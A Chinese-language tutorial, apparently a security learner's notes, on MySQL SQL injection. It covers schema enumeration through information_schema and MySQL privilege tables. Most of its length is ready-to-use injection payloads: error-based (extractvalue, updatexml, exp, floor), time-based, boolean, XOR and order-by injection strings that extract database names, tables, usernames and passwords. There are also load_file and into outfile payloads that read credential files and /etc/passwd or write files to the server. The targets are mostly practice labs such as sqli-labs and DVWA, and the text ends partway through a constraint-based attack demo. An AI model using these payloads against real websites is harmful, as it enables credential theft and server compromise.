跳转至

SQL注入之MySql数据库

系统库

SCHEMATA ->存储数据库名的表

关键字段:SCHEMA_NAME ->数据库名称

查询payload:

MySQL
mysql> select schema_name frominformation_schema.schemata;

从查询结果可以看出,在information_schema.schemata表中,schema_name字段存储了当前数据库的所有数据库名称

TABLES ->存储表名

关键字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名

关键字段:TABLE_NAME ->存储表的表名

查询payload:

MySQL
select table_name from information_schema.tables where table_schema='dvwa';

从查询结果看可以看出,在tables表中的table_name字段,存储了dvwa数据库的表名

注:where后数据库名等要加引号

COLUMNS ->存储的字段名表

关键字段:TABLE_SCHEMA ->该字段所属数据库名

关键字段:TABLE_NAME ->存储所属表的名称

关键字段:COLUMN_NAME ->该字段的名称

执行payload:

MySQL
select table_schema,column_name,table_name from information_schema.columns where table_name=users and table_schema='dvwa';

从查询结果看,在columns表中,存储了数据库对应的表名以及对应的字段内容。

通过以上分析,我们得知information_schema数据库中存储着当前数据库所有的数据库、表名、字段名信息,只要执行相应的SQLpayload,即可把数据库的信息爆出

系统库等的可替代库

  • innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,sys.schema_table_statistics和sys.x$schema_flattened_keys来代替
  • 除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema

sql注入可替代库表

MySQL权限管理

关于MySQL的权限简单的理解就是MySQL允许你做你权利以内的事情,不可以越界。MySQL服务器通过权限表来控制用户对数据库的访问,权限表存放在mysql数据库中,由mysql_install_db脚本初始化。

存储账户权限信息表主要有:user、db、tables_priv、columns_priv、procs_priv、proxies_priv这六张表(5.6之前还有host表,现在已经把host内容整合进user表)

权限类型权限说明
All/All Privileges代表全局或者全数据库对象级别的所有权限
Alter代表允许修改表结构的权限,但必须要求有create和insert权限配合。如果是rename表名,则要求有alter和drop原表, create和insert新表的权限
Alter routine代表允许修改或者删除存储过程、函数的权限
Create代表允许创建新的数据库和表的权限
Create routine代表允许创建存储过程、函数的权限
Create tablespace代表允许创建、修改、删除表空间和日志组的权限
Create temporary tables代表允许创建临时表的权限
Create user代表允许创建、修改、删除、重命名user的权限
Create view代表允许创建视图的权限
Delete允许执行delete操作
Drop代表允许删除数据库、表、视图的权限,包括truncate table命令
Event代表允许查询,创建,修改,删除MySQL事件
Execute代表允许执行存储过程和函数的权限
File代表允许在MySQL可以访问的目录进行读写磁盘文件操作,可使用的命令包括load data infile,select … into outfile,load file()函数
Grant option代表是否允许此用户授权或者收回给其他用户你给予的权限,重新付给管理员的时候需要加上这个权限
Index代表是否允许创建和删除索引
Insert代表是否允许在表里插入数据,同时在执行analyze table,optimize table,repair table语句的时候也需要insert权限
Lock tables代表允许对拥有select权限的表进行锁定,以防止其他链接对此表的读或写
Process代表允许查看MySQL中的进程信息,比如执行show processlist, mysqladmin processlist, show engine等命令
Reference是在5.7.6版本之后引入,代表是否允许创建外键
Reload代表允许执行flush命令,指明重新加载权限表到系统内存中,refresh命令代表关闭和重新开启日志文件并刷新所有的表
lication client代表允许执行show master status,show slave status,show binary logs命令
Replication slave代表允许slave主机通过此用户连接master以便建立主从复制关系
Select允许执行select操作
Show databases代表允许执行show databases命令查看所有的数据库名
Show view代表允许执行show create view命令查看视图创建的语句
Shutdown代表允许关闭数据库实例,执行语句包括mysqladmin shutdown
Super代表允许执行一系列数据库管理命令,包括kill强制关闭某个连接命令, change master to创建复制关系命令,以及create/alter/drop server等命令
Trigger代表允许创建,删除,执行,显示触发器的权限
Update允许执行update操作
Usage是创建一个用户之后的默认权限,其本身代表连接登录权限。使用create user语句创建的用户,默认就拥有这个usage权限,但是除了能登录之外,

权限管理概念

MySQL用户权限管理主要有以下作用:

可以限制用户访问哪些库、哪些表 可以限制用户对哪些表执行SELECT、CREATE、DELETE、DELETE、ALTER等操作 可以限制用户登录的IP或域名 可以限制用户自己的权限是否可以授权给别的用户

用户操作MySQL数据库的权限管理,主要分为两个阶段:

  • 有没有权限连接上来
  • 有没有权限执行本操作

MySQL连接权限

服务器如何判断用户有没有权连接上来?

依据:

  • 你从哪里来?host
  • 你是谁?user
  • 你的密码是多少?password

用户的这三个信息,存储在mysql库中的user表中。

操作执行权限

mysql数据库(系统数据库)下的表:user、db、tables_priv、columns_priv、proce_priv、proxies_priv共同构成授权表;

  • user表

user表列出可以连接服务器的用户及其口令,并且它指定他们有哪种全局(超级用户)权限。在user表启用的任何权限均是全局权限,并适用于所有数据库。例如,如果你启用了DELETE权限,在这里列出的用户可以从任何表中删除记录,所以在你这样做之前要认真考虑。

  • db表

db表列出数据库,而用户有权限访问它们。在这里指定的权限适用于一个数据库中的所有表。

  • tables_priv表

tables_priv表指定表级权限,在这里指定的一个权限适用于一个表的所有列。

  • columns_priv表

columns_priv表指定列级权限。这里指定的权限适用于一个表的特定列。

  • proce_priv

columns_priv表指定存储过程权限。这里代表允许使用某个存储过程的权限。

  • proxies_priv

利用 MySQL proxies_priv(模拟角色)实现类似用户组管理。角色(Role)可以用来批量管理用户,同一个角色下的用户,拥有相同的权限。

注:MySQL5.7.X以后可以模拟角色(Role)的功能,通过mysql.proxies_priv模拟实现

MySQL执行权限检查顺序

img

开始查询

  1. 校验user表,对于全局权限是ok → 直接执行
  2. 检验DB表,对于某个有特定的数据库有权限 → 执行
  3. 检验tables_priv,对于特定数据库下的某些表是有权限 → 执行
  4. 检验columns_priv,对于特定表中的某些列有权限 → 执行

img

用户登录,user表首先能限制用户登录,其次还保存了该用户的全局权限,如果该用户没有任何权限,那么将从db表中查找该用户是否有某个数据库的操作权限,如果都没有,将从table_priv表中查找该用户是否有某个表的操作权限,如果有,则该用户可以按照已有的权限来操作该表。

MySQL弱类型比较

有趣的万能密码

SQL注入之高权限注入

注:当一个部署在MySQL的网站出现SQL漏洞时,可以通过这个网站去入侵其他部署在这个MySQL服务器的网站(前提用户为root用户)

在数据库中区分有数据库系统用户与数据库**普通用户,**二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候.root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作

mysql中存在4个控制权限的表

分别为user表,db表,tables_priv表,columns_priv表。(权限由高到低)

  • User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实
  • 例,如果有全局权限则意味着对所有数据库都有此权限
  • Db表。存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库
  • Tables_priv表。存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表
  • Columns_priv表,存放列级别的权限,决定了来自哪些主机的哪些用户可以访间数据库表的这个字段
  • Procs_priv表:存放存储过程和函数级别的权限

MySQL权限级别

  • 全局性的管理权限:作用于整个MySQL实例级别
  • 数据库级别的权限:作用于某个指定的数据库上或者所有的数据库上
  • 数据库对象级别的权限。作用于指定的数据库对象上(表、视图等)或者所有的数据库对象

mysql权限表的验证过程

  • 先从user表中的Host ,User ,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。
  • 通过身份认证后,进行权限分配,
  • 按照user. db. tables_priv. columns_priv的顺序进行验证。
  • 即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
  • 将不再检查db,tables_priv ,columns_priv:如果为N,则到db表中检查此用户对应的具体数据库,
  • 并得到db中为Y的权限,如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。

当用户为高权限时,可以进行读写文件,跨库/跨网站进行注入

SQL注入之文件读写

前提条件

  • 高权限(root用户)
  • 需要secure_file_priv权限

查看file权限配置

SQL
show global variables like '%secure%';


  • secure_file_prive= ,结果为空的话,表示允许任何文件读写
  • secure_file_prive=NULL,表示不允许任何文件读写
  • secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径

Note

在mysql5.5版本前,都是默认为空,允许读取

在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。

查询该参数配置的情况:

SQL
show global variables like "%secure%";
利用sql语句修改配置项(5.6版本以前,临时修改重启失效):

set global secure_file_prive=""
5.6版本以后,只能利用配置项修改:

注:文件中的路径为\,但在SQLpayload中要用/或者是\(转义字符)

SQL
SQLpayload示例:
id=-1%20union%20select%201,load_file(%27F:\\phpstudy_pro\\WWW\\sqli-labs\\sqli-labs%20for%207\\sql-connections\\db-creds.inc%27),3

找文件路径

常见路径

如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。


Windows:

  • c:\windows\php.ini php配置文件
  • c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件

Linux:

  • /etc/php.ini php配置文件
  • /etc/httpd/conf.d/php.conf
  • /etc/httpd/conf/httpd.conf Apache配置文件
  • /usr/local/apache/conf/httpd.conf
  • /usr/local/apache2/conf/httpd.conf
  • /usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

写入文件

SQL
payload示例:
id=-1%20union%20select%201,%27yyf%27,3%20into%20outfile%20%27d:/d.txt%27--+

SQL注入之基础防御

魔术引号

注:魔术引号会自动在引号、null等字符前后加上\转义,从而使文件名错误/路径错误,达到防御的作用

内置函数

注:is类函数是判断数据类型的

SQL注入常见函数

Mysql数据库基本函数

SQL
system_user() 
系统用户名

user() 
用户名

current_user() 
当前用户名

session_user()  
连接数据库的用户名

database()  
数据库名

version()       
数据库版本

@@datadir   
数据库路径

@@basedir   
数据库安装路径

@@version_compile_os    
操作系统

count()     
返回执行结果数量    select count(*) from users;

concat()        
没有分隔符的连接字符串 select concat(username,password) from users;

concat_ws() 
含有分隔符的连接字符串 select concat_ws(':',username,password) from users;

group_concat()  
一行显示出来 连接一个组的所有字符串,并以逗号分隔每一条数据

load_file() 读取本地文件    
select load_file('D:\\YY\\test.txt');

into outfile    写文件              
select 'MySQL' into outfile 'D:\\YY\\test2.txt';
#前提  show global variables like "secure"  
查看secure_file_priv 是否没有值 没有值才可以读写文件

ascii()     字
符串ascii代码值       select ascii('a');

ord()       
返回字符串第一个字符的ascii值 select ord('bc');

mid('字符串内容',起始位置,长度)        
返回字符串的一部分 select  mid('test',2,3);

substr('字符串内容',起始位置,长度)     
返回字符串的一部分   与mid() 功能基本一致

length('字符串内容')             
返回字符串的长度  select length('test');

left('字符串内容',几个字符)          
返回字符串的最左侧几个字符

floor(数)                    
返回小于或等于x的最大整数  select floor(5.9);   5

rand()                  
返回0和1之间的随机数  select rand();    0-1之间随机生成

extractvalue(xml文档对象名称,XPath格式的字符串)     
从目标xml中,返回包含所查询值的字符串

updatexml(XML文档对象名称,XPath格式的字符串,new Value string格式用于替换)         
改变文档中符合条件的节点的值

sleep(N)            
让此语句运行N秒钟

if(条件,为真返回,为假返回)           
select if(1>2,2,3); 

char()      
返回整数ascii代码字符组成的字符串   
selct char(a);

strcmp()        
比较字符串ascii值   
select strcmp('a','b')  前者大于后者 1  等于0  小于 -1

ifnull()        
假如参数1不为NULL,则返回值为1,否则返回值为参数2              
select ifnull(1,2);   
select ifnull(null,2);

exp()       
返回e的x次方     
select exp(1);

报错注入

extractvalue

SQL
?id=1' and extractvalue(1, concat(0x7e,(select @@version),0x7e))--+ (爆出版本号)

?id=1' and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))--+ (爆出操作系统)

?id=1' and extractvalue(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e))--+ (爆数据库)

?id=1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))--+ (爆数据表)

?id=1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))--+(爆字段)

?id=1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e))--+ (爆数据)

updatexml

SQL
细节问题: extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)

?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),**`1`**)--+ (爆数据库)

?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆数据表)

?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段)

?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+

exp函数溢出错误

在mysql>5.5.53时,则不能返回查询结果

  • 得到表名:
SQL
mysql> select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'flag,users' from dual)))'
mysql>
  • 得到列名:
SQL
mysql> select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'id,username,password' from dual)))'
mysql>
  • 检索数据:
SQL
mysql> select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '1|admin|123456,2|whoami|657260,3|bunny|864379' from dual)))'
mysql>
  • 读取文件(有13行的限制):
SQL
mysql> select exp(~(select * from(select load_file('/etc/passwd'))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' from dual)))'

exp注入详细使用

floor函数

SQL
select count(*),concat(PAYLOAD,floor(rand(0)*2))x form 表名 group by x;

?id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information.schema.tables group by x)a )--+

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或数执行后的结果。

SQL
爆出当前数据库

?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出所有的数据库 通过limit来控制

?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出表名

?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出字段

?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出数据

?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

报错需要满足的条件

  • floor()报错注入在MySQL版本8.0 已失效,经过测试7.3.4nts也已失效(据说的 本人没有实践过)
  • 注入语句中查询用到的表内数据必须>=3条
  • 需要用到的count(*)、floor()或者ceil()、rand()、group by

函数详解

Text Only
RAND() RAND(N) 
返回一个随机浮点值 v ,范围在 0 到1 之间 (即, 其范围为 0 ≤ v ≤ 1.0)。若已指定一个整数参数 N ,则它被用作种子值,用来产生重复序列。
rand()       随机数函数
floor()         向下取整函数
count()        计数函数
group by     分组方法

count和group by结合使用

Text Only
mysql> select * from user;
+----+--------+--------+
| Id | uname  | pwd    |
+----+--------+--------+
|  1 | admin  | 123456 |
|  2 | admin1 | 123457 |
|  3 | admin2 | 123458 |
|  4 | admin3 | 12321  |
|  5 | admin  | 12345  |
+----+--------+--------+
5 rows in set (0.00 sec)

mysql> select count(*) from user group by uname;
+----------+
| count(*) |
+----------+
|        2 |
|        1 |
|        1 |
|        1 |
+----------+
4 rows in set (0.00 sec)

mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:

先建立虚拟表,key是主键,不可重复

image.png

依次对分组字段数据到key中查询,如果key中没有相同数据,就进行添加,cout为1

image.png

如果在key中查询遇到相同的数据,则不会进行数据的插入,会对count加1操作!

group by floor(rand(0)*2)报错原理

实际上是因为floor(rand(0)*2)计算是有固定规律的 效果如下是 0110110011 ......的顺序 记住这个顺序对理解比较重要

image.png

其实mysql官方有给过提示,就是查询的时候如果**使用rand()的话,该值会被计算多次**。

那这个“被计算多次”到底是什么意思?*就是在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

我们来看下floor(rand(0)*2)报错的过程就知道了,从上面可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。

具体看看select count(*) from student group by floor(rand(0)*2);的查询过程

image.png

列名重复(john)

mysql列名重复会报错,我们利用name_const来制造一个列:

SQL
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'

根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。

利用这个特性加上join函数可以爆列名:

SQL
mysql> select *  from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select *  from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'

几何函数

mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:

SQL
5.5.47
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
5.7.17
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing

延时注入

判断注入点:

SQL
?id=1' and sleep(5)--+ //正常休眠

?id=1" and sleep(5)--+ //无休眠

?id=1') and sleep(5)--+//无休眠

?id=1") and sleep(5)--+//无休眠

?id=1' and if(length(database())=8,sleep(10),1)--+

爆出数据库:

SQL
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+

爆出数据表:

SQL
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)-- -

再判断字符(ascii判断)

SQL
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+

left/right语句判断

SQL
?id=1' and if(left(database(),1)='s',sleep(10),1) --+

?id=1' and if(left(database(),2)='sa',sleep(10),1) --+

Substring函数判断

SQL
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+

布尔注入

Left/Right判断

Text Only
?id=1' amd (left((PAYLOAD),1))='s'--+

猜解库:

Text Only
?id=1' and (left((select database()),1))='s'--+

猜解表:

Text Only
?id=1' and (left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))='e'--+

猜解字段:

Text Only
?id=1' and (left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1))='p'--+

除了用'='判断外,还可用'>','<',二分法判断

Like语句判断

Text Only
?id=1' and (PAYLOAD)like binary 'e%'--+
-->binary的意思是匹配大小写

like为模糊匹配,如e%表示以e开头

百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。

1.like 's%'判断第一个字符是否为s

Text Only
1 union select 1,database() like binary 's%',3 --+

2.like 'se%'判断前面两个字符串是否为se

Text Only
1 union select 1,database() like binary 'se%',3 --+

3.like '%sq%' 判断是否包含se两个字符串

Text Only
1 union select 1,database() like binary '%se%',3 --+

4.like '_____'判断是否为5个字符

Text Only
1 union select 1,database() like '_____',3 --+

5.like 's____' 判断第一个字符是否为s

Text Only
1 union select 1,database() like 's____',3 --+

sqli-labs/less-8

猜解数据库:

SQL
?id=1' and (select database())like binary 's%'--+

?id=1' and (select database())like binary 'se%'--+

猜解表:

SQL
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like binary 'e%'--+

可以看到第一个表emails以e开头

猜解字段名:

SQL
?id=1' and (select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1) like binary 'p%'--+

regexp语句判断

SQL
select (select语句) regexp binary '正则'
# binary为匹配大小写

regexp为正则匹配,和like有异曲同工之妙

靶场示例→sqli-labs/less-8

猜解库:

SQL
?id=1' and (select database()) regexp binary '^s'--+

猜解表:

SQL
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp binary '^e'--+

猜解字段:

SQL
?id=1' and (select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1) regexp binary '^p'--+

Ascii语句判断

SQL
?id=1' and ascii(substr((PAYLOAD),1,1))=115--+

猜解库:

SQL
?id=1' and ascii(substr((select database()),1,1))=115--+

猜解表:

SQL
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

猜解字段:

SQL
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112--+

可以用二分判断

注入详解

XOR注入

Text Only
?id=1'^(PAYLOAD)^'1'='1--+

异或:同真/假为假,相异为真

Text Only
true ^ true =false
false ^ false = false
true ^ false = true

Text Only
?id=1'^'0       -->0前面加'是为了与后面的’闭合

可配合like,regexp等语句进行猜解,这里我以like为例

猜解库:

SQL
?id=1'^((select database()) like 's%')^'1'='1--+

猜解表:

SQL
?id=1'^((select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%')^'1'='1--+

猜解字段:

SQL
?id=1'^((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1) like 'p%')^'1'='1--+

其他注入点的注入

order by注入

注入点在order by后,如下

SQL
"select * from goods order by $_GET['order']"

判断注入点类型

Text Only
?sort=rand()
Text Only
数字型-->每次排序会不一样
字符型-->排序不会变

数字型:

字符型:

数字型 order by注入→以sqillabs/less46为例

知道列名

SQL
?order=if((PAYLOAD),id,username)
# id和username可以替换为已知的列名

逻辑:当表达式为真时→按id排序,为假时→按username排序

盲注

like/regexp/ascii/left

猜解库:

SQL
?sort=if((0^(select database() regexp '^s')),id,username)

猜解表:

SQL
?sort=if((0^((select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^e')),id,username)

猜解字段:

SQL
?sort=if((0^((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1) regexp '^p')),id,username)

rand()

SQL
?order=rand((PAYLOAD))

原理:当rand(true/false)返回的排序不一样,根据这个来猜解

首先确定true/false分别回显什么

得知当为true时按username排序

猜解库:

SQL
?sort=rand((select database()) regexp '^s')

猜解表:

SQL
?sort=rand((select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^e')

猜解字段:

SQL
?sort=rand((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1) regexp '^p')
报错注入
SQL
?sort=updatexml(1,if(1=2,1,(PAYLOAD)),1)
?sort=extractvalue(1,if(1=2,1,(PAYLOAD)));

猜解库:

SQL
?sort=updatexml(1,if(1=2,1,(concat(0x7e,(select database()),0x7e))),1)

猜解表:

SQL
?sort=updatexml(1,if(1=2,1,(concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))),1)

猜解字段:

SQL
?sort=updatexml(1,if(1=2,1,(concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x7e))),1)

无回显时也可用延时注入

SQL
?sort=if((PAYLOAD),1,sleep(1))

不知道列名

盲注
SQL
?order=if((PAYLOAD),1,(select id from information_schema.tables))

这里id是一个肯定知道的列名

先判断为true/false的回显顺序

为true回显

为false回显

猜解库:

SQL
?sort=if((select database() like 's%'),1,(select id from information_schema.tables))

猜解表:

SQL
?sort=if(((select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%'),1,(select id from information_schema.tables))

猜解字段:

SQL
?sort=if(((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1) like 'p%'),1,(select id from information_schema.tables))
报错注入

同上

同样无回显时也可使用延时注入

字符型

只能进行报错/延时注入

报错注入

SQL
?sort=1' and extractvalue(1,(PAYLOAD))--+

之后步骤和数字型相同,不再赘述

延时注入

SQL
?sort=1' and if(((PAYLOAD)),1,sleep(3))--+

猜解库:

SQL
?sort=1' and if((select database() like 's%'),1,sleep(3))--+

猜解表:

SQL
?sort=1' and if(((select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%'),1,sleep(3))--+

猜解字段:

SQL
?sort=1' and if(((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1) like 'p%'),1,sleep(3))--+

延时盲注的几种方式

sleep函数

不在赘述

BENCHMARK函数

Text Only
BENCHMARK(count,expr)

BENCHMARK()函数重复 count次执行表达式expr。它可以被用于计算 MYSQL处理表达式的速度。结果值通常为0。

通过复杂计算来达到延时的作用

SQL
id= ‘1 and if((PAYLOAD),benchmark(10000000,sha(1)), 1)--+;
-->可以把count调大,效果更加明显

以sqillabs/less9为例

猜解库:

Text Only
?id=1' and if((select database() regexp '^s'),benchmark(10000000,sha(1)), 1)--+;

猜解表:

SQL
?id=1' and if(((select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^e'),benchmark(10000000,sha(1)), 1)--+;

猜解字段:

SQL
?id=1' and if(((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1) regexp '^p'),benchmark(10000000,sha(1)), 1)--+;

笛卡尔积

SQL
'id = 1 and (PAYLOAD) and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)--+
-->此处还可以继续写更多的表,D,E,F等,达到更高的延时
-->也可更换information_schema.columns表,换成information_schema.plugins/information_schema.collations等都可以
-->columns表太大的话会造成页面崩溃,太小又达不到延时的目的

*select count()是计数的意思,笛卡尔积这种方式会将不同的表进行合并,从而利用合并的时间达到延时的目的

猜解库:

SQL
?id=1' and (select database() like 's%') and (SELECT count(*) FROM information_schema.columns A, information_schema.collations B, information_schema.collations C)--+

猜解表:

SQL
?id=1' and ((select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%') and (SELECT count(*) FROM information_schema.columns A, information_schema.collations B, information_schema.collations C)--+

猜解字段:

SQL
?id=1' and ((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1) like 'p%') and (SELECT count(*) FROM information_schema.columns A, information_schema.collations B, information_schema.collations C)--+

Rlike语句

配合rpad和repeat使用达到延时的效果,原理是当正则匹配长字符串时会造成延时

RPAD(str,len,padstr)

返回字符串str,右补齐字符串 padstr 填补到len字符长度。如果 str 的长度大于len,返回值被缩短至 len 个字符。

REPEAT() 函数将字符串重复指定的次数。

REPEAT(string, number)

SQL
测试语句:
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

可以看到有2.45秒的延时

联合注入的一些技巧

以sqllabs/less1为例

我们都知道联合注入需要有回显,所以我们都会把id设置为0或者-1,那如果我们被限制输入的id只能为正数且要存在,那又该怎么办呢?

本地测试语句:(sql靶场的语句都可以先在本地测试一下)

SQL
select * from security.users where id='1' union select 1,user(),3;

发现我们的结果回显在第二排,默认显示第一排,所以我们只需要将limit加上就可以了

以查数据为例:

SQL
?id=1' union select 1,group_concat(username),group_concat(password) from security.users limit 1,1--+

堆叠注入的一些技巧

[BUUOJ记录] [强网杯 2019]随便注(三种方法) - Ye'sBlog - 博客园

基于约束的SQL攻击

在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。

Important

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

SQL
SELECT * FROM users WHERE username='vampire     ';

Warning

但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在[内部]使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

现在,让我们建立一个测试数据库来演示具体攻击过程。

Ruby
vampire@linux:~$ mysql -u root -p
mysql> CREATE DATABASE testing;
Query OK, 1 row affected (0.03 sec)
mysql> USE testing;
Database changed

接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。

